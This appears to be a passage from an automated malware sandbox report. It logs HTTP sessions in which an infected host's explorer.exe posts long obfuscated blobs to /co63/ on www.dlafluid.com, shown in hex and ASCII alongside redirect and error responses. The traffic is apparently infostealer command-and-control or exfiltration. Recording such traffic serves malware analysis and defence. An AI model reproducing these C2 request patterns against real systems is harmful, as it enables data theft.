aHzGzixTb8BOkS2vt0N4Fqj6xeQIaLMjN3W6QClOlVDGhb9IiOJNY2Ivnm4x(rD85EpBVwOFxJKkmj95hzJdJiVQ2yZbYJw4BzbyJkN9S1OC71p2R3ciKicqVaAYEGLxqBarzHipQtBrNYgyZNNGFY(4mBA7wAOzz0hiTTt7hf(KxwoRr1ccrYfw6cxK21hnlnkhCARkVkE_R84DUiDCCGHtAEnu4JEAmdzWsa(2jG9ZMGS-rpC6u6LYaHb6sXsYfl9p2FmJvkQsVSRs7FCwj67VkM3Tmn2k37dpRj71sXkUI17kgqcq4-qjYrRBjCoKfnj8p2sQ1v2_IbAQV_wjKa6LULwlj07yizZvFsp3t3aLU6~5zJiWarglEhkgWAUrpwZau4yzXsFKCkagmafk1-~NRgVib277qVqD~yTt3pHSNdeoUirNsDg5dlWfdEfTw373APeZsfVHLsvAFn7cmZy76pNgUiDxLXURNDTNzZS8PfRNDewqTCZHgdEtnPgBv5NP5pl7AmCshQZ1XeK6g3wDinICBa~utCtvaQYc4yaXcRGbGNX-gsKuETMs3QLQFPkamVdhsY2SK0x7Ouhh0hq1aLLF2jcex70Hucims2Cj7p1j3tTwxC5hQvXhsokdEYU-XMeBAa1cVBpO29pUhKYVEINk(rRx04Ndc5komp8LTPIi0yBq9egzCXJNDu(OSwBXqQ).
Jul 20, 2023 11:44:40.445296049 CEST	125	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Thu, 20 Jul 2023 09:44:40 GMT server: LiteSpeed location: https://www.vestostore.com/co63/ platform: hostinger content-security-policy: upgrade-insecure-requests Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e 74 6c 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49721	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:45:36.345082998 CEST	485	OUT	POST /co63/ HTTP/1.1 Host: www.dlafluid.com Connection: close Content-Length: 1484 Cache-Control: no-cache Origin: http://www.dlafluid.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.dlafluid.com/co63/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 61 4a 45 6c 77 56 3d 7a 65 30 43 77 70 4b 68 72 43 6e 49 4c 66 6d 30 6b 42 57 57 6f 46 4b 47 38 6a 56 5a 57 4b 57 72 7a 6f 36 72 75 79 75 54 37 32 53 41 49 42 50 50 42 64 79 74 79 4b 74 2d 55 46 79 6c 48 59 77 64 44 48 76 33 54 75 52 45 4f 4d 69 6d 43 44 36 54 4f 52 78 56 39 7a 77 61 76 37 72 44 33 36 31 42 56 53 51 50 67 73 4a 63 59 4a 77 49 38 54 43 41 61 47 70 44 54 6b 6d 42 38 64 34 58 63 68 75 48 4f 6b 63 59 4b 61 48 64 65 6e 74 32 74 5a 34 7a 55 54 6b 4d 33 6c 47 37 56 44 33 37 68 69 28 52 41 47 6c 6f 43 35 62 51 62 66 49 56 71 47 44 64 64 6b 69 44 4d 6c 48 5a 5a 4a 58 42 71 4b 39 64 36 6b 55 4a 39 61 79 4f 4c 48 7a 37 70 79 75 6e 71 30 4a 76 36 39 63 37 46 30 75 37 28 48 64 6b 55 4a 65 6b 31 4e 30 47 68 50 5a 30 45 48 4d 68 66 57 28 6b 4f 33 46 61 7e 78 34 5f 32 75 39 4e 54 57 52 73 37 52 65 4f 4b 4c 4b 6d 57 5f 41 5f 38 44 30 47 47 61 64 46 6e 67 54 62 70 5f 68 44 28 49 55 46 44 4f 73 59 69 45 59 79 6e 75 54 5f 32 71 34 75 58 6d 45 68 46 50 57 4f 46 70 7a 38 36 52 47 74 31 7a 4b 44 62 44 4b 79 49 42 63 51 4f 35 47 77 6c 63 76 4b 6b 63 61 65 4f 71 4f 44 53 37 6c 55 37 5a 59 30 44 69 62 37 73 61 79 33 74 6b 6f 35 47 5a 4e 59 51 7a 54 43 77 35 70 6a 50 5f 65 78 41 75 74 41 57 6b 37 57 6e 48 70 4a 47 70 62 4d 4f 38 63 51 6a 57 77 32 4f 51 6a 37 63 75 39 52 55 71 6b 41 34 51 4f 43 62 65 4b 6e 62 45 36 61 76 5a 65 79 66 55 66 54 6d 4e 67 63 44 6a 69 6e 33 2d 32 30 58 69 70 66 7e 78 62 43 51 54 6b 63 6a 5a 58 46 55 67 78 56 28 31 76 67 6b 69 58 51 31 50 66 6a 7a 34 77 62 63 52 71 56 70 4b 6d 62 61 38 59 7a 62 4c 47 44 54 6d 52 32 31 39 68 68 35 34 70 4e 57 39 28 4b 4b 78 4d 62 44 66 4c 56 70 68 70 61 6c 73 4c 4d 43 37 58 64 54 5a 79 69 51 67 69 72 66 56 69 6f 74 6a 6c 57 38 2d 54 33 30 38 57 69 45 6b 72 36 6a 34 52 59 72 49 35 57 75 6a 62 49 54 30 45 57 38 42 4f 45 44 48 4d 7a 43 70 79 4f 31 7a 58 64 51 39 4b 61 72 62 4a 74 5a 4c 78 65 37 31 37 46 56 70 70 64 49 71 57 4e 71 43 6a 38 48 67 6a 69 66 43 50 6b 47 37 69 33 53 34 52 6d 52 37 75 68 5a 51 50 55 69 4b 59 68 52 33 77 32 6e 4d 76 55 6d 45 4b 74 73 56 48 35 4d 64 7a 69 51 2d 6a 75 52 37 7e 72 6e 77 6c 55 6a 4a 74 5a 71 6b 45 39 51 43 68 66 58 59 47 31 51 56 46 56 57 5a 51 47 4d 67 67 51 7a 46 58 33 77 71 48 30 44 56 69 33 41 2d 59 46 39 2d 64 59 37 4c 51 2d 61 64 28 54 61 4e 38 55 62 63 7a 35 41 57 55 51 30 65 53 46 4f 66 38 4e 53 78 33 43 6a 47 67 36 35 71 46 67 46 6e 7e 2d 6b 38 56 61 4c 6e 36 6f 72 46 67 46 55 50 6b 46 65 51 44 6c 56 55 69 47 32 67 4d 47 44 44 49 6e 28 38 35 57 67 31 48 57 6b 72 6b 30 75 4b 53 36 61 53 67 6e 75 67 77 6d 42 34 6e 6c 6c 6b 7e 55 49 52 54 6d 72 42 68 57 56 4d 45 55 68 52 58 56 4b 38 70 44 31 70 37 50 74 4e 68 43 53 6c 73 5a 6a 7a 32 79 70 69 74 71 4f 78 4e 37 36 30 6c 38 51 51 6b 39 31 70 53 2d 64 52 50 36 51 2d 44 38 6d 46 34 53 38 68 6f 48 6b 53 72 42 76 61 73 4a 63 31 4e 66 63 36 6b 31 57 7a 52 71 45 72 56 45 4e 4f 39 71 7e 51 38 46 70 4f 32 66 55 5a 64 54 77 58 74 50 59 71 7e 67 62 56 6e 74 68 68 54 63 59 34 58 38 6e 2d 48 70 56 73 6a 6f 66 63 31 31 45 6a 58 63 62 70 53 2d 34 5a 33 55 4a 4b 4a 4a 4c 51 48 7a 4e 72 6e 6f 50 48 37 5f 6a 48 71 74 49 41 31 58 58 5f 62 52 4c 38 7e 42 43 78 73 4a 6b 6a 46 47 6d 43 4d 66 78 30 52 79 64 68 57 7a 28 4f 38 5f 4b 48 35 56 6a 72 4c 5f 79 51 76 56 71 4b 76 77 79 49 61 70 6b 47 73 39 46 30 62 51 57 72 65 30 73 58 38 72 6c 63 30 59 58 6a 59 75 39 6e 65 44 4d 71 6d 4f 59 4b 53 57 71 51 63 30 71 6a 4a 66 54 71 7a 49 58 53 33 6f 37 79 32 77 53 33 52 78 43 73 67 30 4c 54 55 77 61 74 69 63 59 56 38 44 55 75 58 51 67 44 75 4f 31 65 49 6e 57 45 64 52 59 49 6a 41 37 70 42 79 6f 41 38 6d 56 57 77 30 54 62 30 6c 6d 51 46 38 62 4c 55 63 43 37 55 4e 6b 79 35 41 75 57 7a 62 68 53 61 46 54 43 66 71 7e 56 51 71 52 69 6f 32 51 6d 48 6d 71 66 59 62 41 74 62 32 69 5f 37 37 66 75 46 4c 6a 72 4a 4b 35 32 34 59 4b 58 59 53 37 64 46 78 64 37 45 61 36 34 51 34 77 4b 75 63 43 62 50 75 62 72 39 67 50 62 38 6d 70 4e 78 43 71 2d 38 7a 75 48 5a 52 75 48 36 43 35 30 4c 6a 63 6e 79 33 35 36 71 65 36 63 34 36 65 71 5a 59 51 4e 67 4f 37 39 38 51 53 51 69 4c 7a 6d 41 6b 66 32 76 68 51 48 47 69 4e 6c 55 57 4b 73 5a 33 Data Ascii: aJElwV=ze0CwpKhrCnILfm0kBWWoFKG8jVZWKWrzo6ruyuT72SAIBPPBdytyKt-UFylHYwdDHv3TuREOMimCD6TORxV9zwav7rD361BVSQPgsJcYJwI8TCAaGpDTkmB8d4XchuHOkcYKaHdent2tZ4zUTkM3lG7VD37hi(RAGloC5bQbfIVqGDddkiDMlHZZJXBqK9d6kUJ9ayOLHz7pyunq0Jv69c7F0u7(HdkUJek1N0GhPZ0EHMhfW(kO3Fa~x4_2u9NTWRs7ReOKLKmW_A_8D0GGadFngTbp_hD(IUFDOsYiEYynuT_2q4uXmEhFPWOFpz86RGt1zKDbDKyIBcQO5GwlcvKkcaeOqODS7lU7ZY0Dib7say3tko5GZNYQzTCw5pjP_exAutAWk7WnHpJGpbMO8cQjWw2OQj7cu9RUqkA4QOCbeKnbE6avZeyfUfTmNgcDjin3-20Xipf~xbCQTkcjZXFUgxV(1vgkiXQ1Pfjz4wbcRqVpKmba8YzbLGDTmR219hh54pNW9(KKxMbDfLVphpalsLMC7XdTZyiQgirfViotjlW8-T308WiEkr6j4RYrI5WujbIT0EW8BOEDHMzCpyO1zXdQ9KarbJtZLxe717FVppdIqWNqCj8HgjifCPkG7i3S4RmR7uhZQPUiKYhR3w2nMvUmEKtsVH5MdziQ-juR7~rnwlUjJtZqkE9QChfXYG1QVFVWZQGMggQzFX3wqH0DVi3A-YF9-dY7LQ-ad(TaN8Ubcz5AWUQ0eSFOf8NSx3CjGg65qFgFn~-k8VaLn6orFgFUPkFeQDlVUiG2gMGDDIn(85Wg1HWkrk0uKS6aSgnugwmB4nllk~UIRTmrBhWVMEUhRXVK8pD1p7PtNhCSlsZjz2ypitqOxN760l8QQk91pS-dRP6Q-D8mF4S8hoHkSrBvasJc1Nfc6k1WzRqErVENO9q~Q8FpO2fUZdTwXtPYq~gbVnthhTcY4X8n-HpVsjofc11EjXcbpS-4Z3UJKJJLQHzNrnoPH7_jHqtIA1XX_bRL8~BCxsJkjFGmCMfx0RydhWz(O8_KH5VjrL_yQvVqKvwyIapkGs9F0bQWre0sX8rlc0YXjYu9neDMqmOYKSWqQc0qjJfTqzIXS3o7y2wS3RxCsg0LTUwaticYV8DUuXQgDuO1eInWEdRYIjA7pByoA8mVWw0Tb0lmQF8bLUcC7UNky5AuWzbhSaFTCfq~VQqRio2QmHmqfYbAtb2i_77fuFLjrJK524YKXYS7dFxd7Ea64Q4wKucCbPubr9gPb8mpNxCq-8zuHZRuH6C50Ljcny356qe6c46eqZYQNgO798QSQiLzmAkf2vhQHGiNlUWKsZ3oaiasdvTKhiFGmVBPtrnDONFiITaZ_2_4fqocoflHPuRRg8bVv6SpruBGq2ElRsc1oIB(q3QmGI7QEi3H7iLb28YBZjntOqbD0Q6irhQQBkGTB~bOf5cuQ).ZbQJR0f
Jul 20, 2023 11:45:36.473906040 CEST	641	IN	HTTP/1.1 405 Method Not Allowed Server: openresty Date: Thu, 20 Jul 2023 09:45:36 GMT Content-Type: text/html Content-Length: 154 X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_R/ex/bZytcrn+mdS8YhV4IEoSKT9oNHNKUPqIjguyZiSsiUtRdiujE/fk+SgLzGG0HDyRB3Uyq6OtQGUGIBFfQ Via: 1.1 google Connection: close
Jul 20, 2023 11:45:36.474831104 CEST	641	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49722	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:45:36.367321968 CEST	498	OUT	POST /co63/ HTTP/1.1 Host: www.dlafluid.com Connection: close Content-Length: 151296 Cache-Control: no-cache Origin: http://www.dlafluid.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.dlafluid.com/co63/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 61 4a 45 6c 77 56 3d 7a 65 30 43 77 74 58 51 34 45 36 54 61 70 32 70 6b 33 61 65 6d 46 37 66 75 44 35 49 4b 71 66 4d 74 4b 44 4b 75 7a 7e 58 75 6a 4f 65 43 43 58 50 55 4f 61 71 30 71 74 35 44 56 79 6b 44 5a 4e 69 4b 31 7e 37 54 76 56 2d 4f 4d 61 68 55 78 53 63 49 7a 70 5a 28 6a 38 49 67 62 76 61 7a 2d 64 43 55 33 34 54 72 4f 70 63 47 71 73 77 77 67 71 4c 58 58 56 58 63 6b 36 44 6b 74 52 5a 4b 42 50 68 50 48 77 55 4e 62 6e 31 61 6a 6f 36 70 39 55 62 62 51 45 49 71 6c 53 38 42 51 4c 35 67 46 75 67 42 48 6c 77 4f 5a 6a 39 56 39 55 62 75 56 6e 72 64 6c 57 32 57 56 32 76 57 76 79 6b 71 34 55 6f 74 31 51 4a 28 4b 4b 65 54 51 50 39 30 46 69 5f 6e 48 78 65 71 4e 4d 57 56 52 71 38 78 32 39 6a 59 76 69 4f 36 4d 78 34 6a 4f 67 6d 4f 31 55 5a 66 32 71 70 53 58 30 38 33 53 6f 51 76 64 49 4d 48 79 39 6b 32 55 75 31 49 38 4c 6e 5a 4e 35 49 77 41 34 4f 48 72 74 76 78 33 50 59 6e 4d 35 45 76 62 38 56 4f 4f 77 4a 6b 45 51 75 73 50 54 74 32 71 73 31 58 45 5a 59 47 50 58 46 61 37 58 31 36 56 53 74 31 79 36 54 61 33 57 79 4a 69 46 4b 65 50 53 5f 68 73 75 4b 6d 4d 4b 4a 59 4a 61 59 53 37 56 41 37 71 34 30 43 6d 33 37 70 35 4b 32 72 6b 6f 35 49 35 4e 65 51 7a 54 4b 77 35 70 4b 50 35 71 6c 42 75 56 41 65 45 48 59 68 6b 67 47 58 50 71 33 4b 63 63 63 6b 55 4a 6a 63 67 47 31 63 74 4e 4a 54 4a 67 41 35 55 32 4e 4c 72 6d 37 4b 6c 36 46 68 34 48 74 57 30 6e 44 6d 4e 64 51 41 69 7a 4d 39 50 37 79 57 69 70 63 78 6c 36 47 47 6e 35 46 71 6f 6e 6f 66 42 35 2d 77 68 4f 31 6b 43 43 51 73 6f 37 52 79 35 74 42 61 52 7e 72 34 6f 4b 58 62 75 78 5a 66 4c 69 62 65 33 4e 4e 30 63 41 63 74 71 64 62 66 66 28 36 4b 43 45 37 41 2d 66 42 31 77 46 6c 39 5f 50 65 58 4c 48 79 57 72 53 44 66 52 47 5f 55 33 71 38 69 6a 68 46 31 74 6e 72 77 63 7e 7a 65 43 4b 38 31 4a 41 5f 71 34 52 56 31 6a 33 64 53 30 34 5a 71 77 6a 32 43 7a 6c 35 56 62 4b 41 34 7a 61 6a 53 39 44 4e 69 62 59 47 64 72 4e 5f 28 6d 66 6b 4e 37 59 65 55 71 36 75 75 77 72 5a 41 43 48 62 58 44 58 41 4f 2d 65 74 66 37 74 56 57 70 76 42 53 46 37 6d 76 62 6f 61 43 67 6c 43 30 73 7a 68 72 68 50 5f 68 58 57 46 64 50 62 48 58 63 66 66 66 50 48 32 39 51 59 42 6a 71 56 33 36 51 30 68 5a 44 46 51 59 62 4b 6b 45 47 56 69 54 2d 5a 30 4e 54 4e 31 38 58 4c 4d 31 5a 57 63 4f 68 7e 76 42 4f 6f 73 39 2d 56 63 37 61 77 75 64 6f 76 54 65 4d 38 58 62 39 79 79 51 57 55 51 6f 65 53 64 44 5f 77 38 53 30 58 43 67 43 73 36 77 2d 68 69 46 6e 28 5f 74 64 68 75 4d 58 37 6f 73 45 73 38 55 4f 45 58 65 54 76 35 53 55 75 34 79 6a 4d 4a 53 44 49 37 73 35 5a 52 67 30 36 31 6b 72 35 70 6b 71 44 69 61 6a 5a 41 67 77 77 6d 49 65 7e 75 68 56 75 52 4e 57 54 69 33 78 42 77 63 4d 49 38 6b 6b 6a 43 43 5a 64 42 34 2d 44 50 71 34 52 57 65 6c 49 4a 77 77 47 74 70 43 64 33 52 45 68 77 30 42 56 74 57 78 41 39 7e 5a 7e 58 53 79 58 78 66 75 44 4b 6b 53 45 30 77 42 45 2d 6e 56 6e 43 76 49 6f 53 65 31 4e 32 64 62 41 62 66 52 74 34 4d 64 45 54 4c 36 39 49 7e 79 63 45 6f 36 69 71 52 37 6f 38 32 6c 6f 50 54 4c 6e 70 4f 78 47 74 75 42 4f 6c 63 75 65 78 71 38 47 50 64 73 33 4e 58 2d 56 50 65 45 75 39 5a 62 6d 4c 36 35 62 70 45 76 56 66 49 54 43 58 55 4a 6d 47 63 30 58 4d 6d 6d 28 72 41 51 46 42 4f 5a 28 79 59 65 7e 61 41 67 6c 73 34 51 4a 71 69 41 64 30 68 30 55 4d 51 41 79 66 79 65 45 63 49 30 4a 6b 77 73 53 46 7a 67 57 41 67 64 75 63 6a 5f 32 4e 39 6c 42 76 49 77 50 56 4a 70 62 61 6b 45 41 6d 6b 34 6f 35 51 47 68 58 32 45 44 6c 5a 74 71 39 59 59 53 4f 75 53 34 75 71 6d 6b 57 53 4b 72 49 44 44 48 6f 36 56 57 77 62 6e 56 79 49 35 45 4e 65 45 34 50 43 50 57 59 50 6b 41 48 47 74 43 47 78 54 72 54 30 35 42 6a 5a 33 39 75 52 2d 6e 53 35 34 68 76 76 7a 51 68 64 78 38 48 56 4c 49 5f 6c 48 39 61 61 59 45 39 4c 64 4a 54 79 42 55 49 6e 30 58 68 37 69 7e 77 62 56 33 78 67 53 42 46 53 69 6c 32 61 58 7a 62 69 36 70 6b 64 62 66 53 69 6f 57 79 58 73 39 53 70 72 4a 61 7e 45 6f 66 4e 57 67 50 78 49 68 62 5a 4c 38 63 6e 35 52 41 33 63 4b 54 43 66 61 61 57 59 4e 41 4e 2d 52 61 30 38 78 67 35 36 49 51 70 48 77 73 37 69 6d 2d 6d 48 72 78 58 57 76 48 32 4a 36 48 33 65 45 67 49 66 64 69 63 4d 34 58 79 2d 30 37 58 79 6e 72 28 6d 78 6c 63 30 44 39 56 31 32 7a 49 6d 70 50 4a 76 64 76 Data Ascii: aJElwV=ze0CwtXQ4E6Tap2pk3aemF7fuD5IKqfMtKDKuz~XujOeCCXPUOaq0qt5DVykDZNiK1~7TvV-OMahUxScIzpZ(j8Igbvaz-dCU34TrOpcGqswwgqLXXVXck6DktRZKBPhPHwUNbn1ajo6p9UbbQEIqlS8BQL5gFugBHlwOZj9V9UbuVnrdlW2WV2vWvykq4Uot1QJ(KKeTQP90Fi_nHxeqNMWVRq8x29jYviO6Mx4jOgmO1UZf2qpSX083SoQvdIMHy9k2Uu1I8LnZN5IwA4OHrtvx3PYnM5Evb8VOOwJkEQusPTt2qs1XEZYGPXFa7X16VSt1y6Ta3WyJiFKePS_hsuKmMKJYJaYS7VA7q40Cm37p5K2rko5I5NeQzTKw5pKP5qlBuVAeEHYhkgGXPq3KccckUJjcgG1ctNJTJgA5U2NLrm7Kl6Fh4HtW0nDmNdQAizM9P7yWipcxl6GGn5FqonofB5-whO1kCCQso7Ry5tBaR~r4oKXbuxZfLibe3NN0cActqdbff(6KCE7A-fB1wFl9_PeXLHyWrSDfRG_U3q8ijhF1tnrwc~zeCK81JA_q4RV1j3dS04Zqwj2Czl5VbKA4zajS9DNibYGdrN_(mfkN7YeUq6uuwrZACHbXDXAO-etf7tVWpvBSF7mvboaCglC0szhrhP_hXWFdPbHXcfffPH29QYBjqV36Q0hZDFQYbKkEGViT-Z0NTN18XLM1ZWcOh~vBOos9-Vc7awudovTeM8Xb9yyQWUQoeSdD_w8S0XCgCs6w-hiFn(_tdhuMX7osEs8UOEXeTv5SUu4yjMJSDI7s5ZRg061kr5pkqDiajZAgwwmIe~uhVuRNWTi3xBwcMI8kkjCCZdB4-DPq4RWelIJwwGtpCd3REhw0BVtWxA9~Z~XSyXxfuDKkSE0wBE-nVnCvIoSe1N2dbAbfRt4MdETL69I~ycEo6iqR7o82loPTLnpOxGtuBOlcuexq8GPds3NX-VPeEu9ZbmL65bpEvVfITCXUJmGc0XMmm(rAQFBOZ(yYe~aAgls4QJqiAd0h0UMQAyfyeEcI0JkwsSFzgWAgducj_2N9lBvIwPVJpbakEAmk4o5QGhX2EDlZtq9YYSOuS4uqmkWSKrIDDHo6VWwbnVyI5ENeE4PCPWYPkAHGtCGxTrT05BjZ39uR-nS54hvvzQhdx8HVLI_lH9aaYE9LdJTyBUIn0Xh7i~wbV3xgSBFSil2aXzbi6pkdbfSioWyXs9SprJa~EofNWgPxIhbZL8cn5RA3cKTCfaaWYNAN-Ra08xg56IQpHws7im-mHrxXWvH2J6H3eEgIfdicM4Xy-07Xynr(mxlc0D9V12zImpPJvdvrYmO3JbMPi6nJHx6TtTnXpRGn53qPMOF(_6oCIy7H-OUHQk8d7qBsuqZMKG5jzM34IJrxOzAjS59YRbFLfuUOVguBY7g9J7QF1xC69t-VAV5O1L3CNkbyEEjEpf3zumLC8BvVGscpJWjG1wwe-OnlBKccasISD3z8YaAQQM-JAJvgyKcf7X4BABLSHSuRvWwRkdB1QInhmFRK8ziT4fEw5XSEgoN7kFhIKVYuN09TQ84AfphEcl-9f7CONWsPA3sxzlJfaV-HUyxn1gVglL7e0af5cqv9EXcPciCaQCDsZMdPjjyWczO5J3LysRPNZ~_86tCMsyfO5yaUreCnlkV9CwKCrrELF5BNOtWDLWqsPQXdesyPzBY4rpUdbU7TbE4EhiNvZy17IqGm0eZw0dUtrOF4O8fvumqU-oHd0~dA2y8123hE-Tuyeq_8UHLMVwaDHobjE8-opvbkJUipEwW53mCYRztz0sCyIFDoA0TOR4_FXQXWPPsbJxgavOqaYAyWIcSOY4AWumGWwGgSAw_Oaj_V0L3frq9d76_YuaTdR09FRk9G_XscSQ33KDnV1w1o3Y3E69v5mLvZqpicc4GRKfibLS7tJWNAXRyPqk8t7bBdUeMxbDcp2LkALvShQGD7-boz6KExXMhbsdriEWRj3FeJ9tlRlEKiuK8jTvS1QBucyMJR0GBJ4TLNhkRdiylZD45G6N9R85ETJPxM-IwJ8vH2FElCyucQh6VGbAhGpFfcy9InUhiYd7YO7mqBst5PJuxNkb1T-CV8QJSypy9dlRqpWAZ0uW55_S2PA(Z0yA2NA43CCRp8nv78MPvFEmt5zletg91KWgE0IuVjoxhwEN1fTP-mubGJm~1gE60jcXA028H1b~St8BtWTrXbMDgyEdxxSfLrcGoYQRT4Rf_UhiGC_FTJMwcVeXwHejWFZwYUfRgIyqNhCLLjC8mxOzWf-zwFsDDGd9htKQA5exLdSgR1dfFz6tSvVOKGlm6O0htO4RUDVfGS4FXI7Z6ytOU26FtRlI0X-irOwNm6jxPOKzHJWNRfgZM8uBRcxpgg7(7l-Fumtz8zKe_Vt1KwFU5262polG36XQTS30N6dxMogv-UQjnKmHMYE045IjHYcufvAzDPWAfpCU-Q0LQ4rV4NTJVWl30QPkM5kkCqCGJ8xrMGw5Ap7WD1LUBats4XxC8DFKCdGViFZfvvf64u75Y2BHd8-rB1RroQ_jOKi6ShPPJbI9smUFgLjiHJRslPnnFyqA1KW~BWhMxo7FAvkJ27843U-7HhQBRi-6fy8me8Ln1H4kzqqW9iUfUEhLIGNl9xFacZ1G8iGCMSTzsxpqiNIX-MEaiQSk5oVHlq4ROnhNPRkKJwetwKkghlfS2Fr(zsLAnRMIeD9Bd(BE0uza5mLwe20KTEqH5lT1w617GpFO7t-ZcqKaZldFrVw1CGWdezNzvpmfsi3Gnf2d_2Z0ESToiUT(pcty0RdBbRu0WTKoabgnHH4D0yXYqNphtVWpkEULfPMQwIaag8ORvuBdQv3mOG1HbqVM3K3PwTOQiWa7bYPl8dqdmBlJADn~5DBo-fNmK2x7MOeKrkt30UpCWLu~YhACE4oTM0c9m9f0WJIsk7m1sNJSdF4HYfJZMaP8Ht4we5Wr2(4uxqQKgkR78PPS_NSMZ9ycVFRxtRYLw5qt8bQAquEqrpSzFMnl4udTShntin1(IqJaYIhpiQLVWOjIRe_YWGQoKb-Oq(WPtRTCX2oNWIvKGy0TMJP1HPx06i71-7-Bx3sSdYSJ8AwDvP8TP9tgozfs6frxxLpOjnwEfcfmkWYM2kROVE_~ZI2pZvi5fXjpEjry1StxzT76s9k2gmFRJW2oNRqM0UrBTq5OGpmCvZbpJOSREy7icdFN6dLM1bVnlx0MN9o3Ewq7xZpgY871uMZH91zFFvsc6WW7WYCNtviV7q-Rga7Z9bFkcLz~yXdnIjOkQvQ63L0dUARM59pD_7vAKudWuUCSnYfhMMk2avwkoKuuQ7FV5ptYUPhsdt26RrF5BoUzUDo69W-I1AAR7l52WeuIDw2KWtolLpO8AToQxeX6h(6L9evtlDJ66CrjmOQyDUReIZ3cC8og5B4jWmlBkPffESWrJ3Vqxhj9hdy5FxWv4jN9hMI9r(J0RBnt2r6N1kF73J-xCYB3U64yye5R0OrcEbnpnRnmdFrXatrEITJokLG2yfNAHKGG83zIUOZydorIYbI18GhM7XZjL2Wl990FKW4ziOYcgMJV1